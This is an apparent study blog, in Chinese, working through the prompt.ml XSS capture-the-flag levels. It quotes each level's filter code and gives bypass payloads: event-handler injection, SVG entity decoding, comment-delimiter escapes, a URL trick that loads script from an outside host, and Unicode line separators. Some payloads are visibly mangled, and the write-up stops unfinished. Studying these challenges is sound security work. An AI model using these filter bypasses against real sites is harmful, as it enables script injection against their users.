一直不是很懂XSS,所以这里专门来学习一下下!记录做题的过程嗯。规则是当想办法嵌入prompt(1) 就算胜利了
什么过滤都没有,payload如下
"><script>prompt(1)script><"
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '' + input + '';
}
发现是过滤了<内容>这个组合,通过实验发现可以用//注释绕过,相当于过滤了>,这里采用了payload
<article><body/onload=prompt(1)//article>
<img src=1 onerror=prompt(1)//
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
很容易看出来,是过滤了(和=,但是怎么过滤很困惑,想过会不会是什么编码解析绕过它,但是没成功。参考了大牛的答案后恍然大悟,原来存在这么神器的标签
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造
调用了js中的eval函数,巧妙死了!
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '';
}
首先是input在注释符之间,但是输入的input又过滤了->
这个是我无意间试出来的,我一开始想看能不能利用替换构造语句,无意间发现,虽然-->
被过滤了,但是我们可以用--!>
替代!
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
这个题目真是神叨叨的,搞了半天也不知道为啥不行???最后没办法查找资料发现利用的url中的黑魔法:
浏览器支持这样的url:http://user:[email protected]。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%[email protected]。
不过我就是不明白为啥要域名越短越好???最后也没弄明白个所以然,利用服务器构造,然后我们构造代码出来(本步骤需要有服务器)
<script src="http://prompt.ml%[email protected]/test.html">script>
发现访问跳转是可以成功的
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '' + input + '" type="text">';
}
看一下代码,发现是过滤了>
、onxxxx=
和focus
,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可,payload如下
"type=image src onerror
="prompt(1)
看了牛逼人士的题解,还有别的思路,比如说IE下可以使用
(1)
"onresize
="prompt(1)
(2)
" oninput
=prompt(1) "
学习一手
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
\n\
';
} catch (e) {
return 'Invalid form data.';
}
}
通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为utl#post的表单内容,比如www.baiducom#{"nothing":"hello"}
,具体过程是先提取url构造form表单,url赋值给form标签中的action,然后post内容加成input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data,猛一看就像js和vbs
<form action="javascript:prompt(1)" method="post">input>form>
<script>
alert(document.forms[0].action);
script>
弹出
如果我们加上一个input标签
<form action="javascript:prompt(1)" method="post"><input name="action" value=1>input>form>
<script>
alert(document.forms[0].action);
script>
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '" title="
' + title.slice(0, 12) + '">';
}).join('\n');
}
思路还是不够开阔…可以利用标签的注释功能…不用多讲…
"><script>/*#*/prompt(/*#*/1)/*#*/script>
//"
我们仔细看一下生成的代码就明白了
但是看着大牛们还有一种利用svg构造的一种方法,巧妙的一比,payload如下
">
生成的代码如下
<p class="comment" title=""><svg/a=">
comment"
title=""onload='/*">p>
<p class="comment" title="*/prompt(1)'">p>
本质还是利用了注释符绕过长度限制,简化过得有效代码如下
<svg/a=comment" title=""onload='prompt(1)'">p>
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n"]/g, '');
return ' \n\
';
}
本题目过滤了各种换行符和”和/,但是我们想要使代码执行,必须逃脱出双引号或者本行,那么逃逸利用了unicode
U+2028,是Unicode中的行分隔符
U+2029,是Unicode中的段落分隔符。
很多人说原来的payload没用,我来告诉大家如何生成payload
首先用chrome F12打开开发者选项,然后利用console模块,输入
'\u2028prompt(1)\u2028-->'
得到一个东西,将之复制下来就是payload!
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return ''
+ input + '';
}
[未完待续]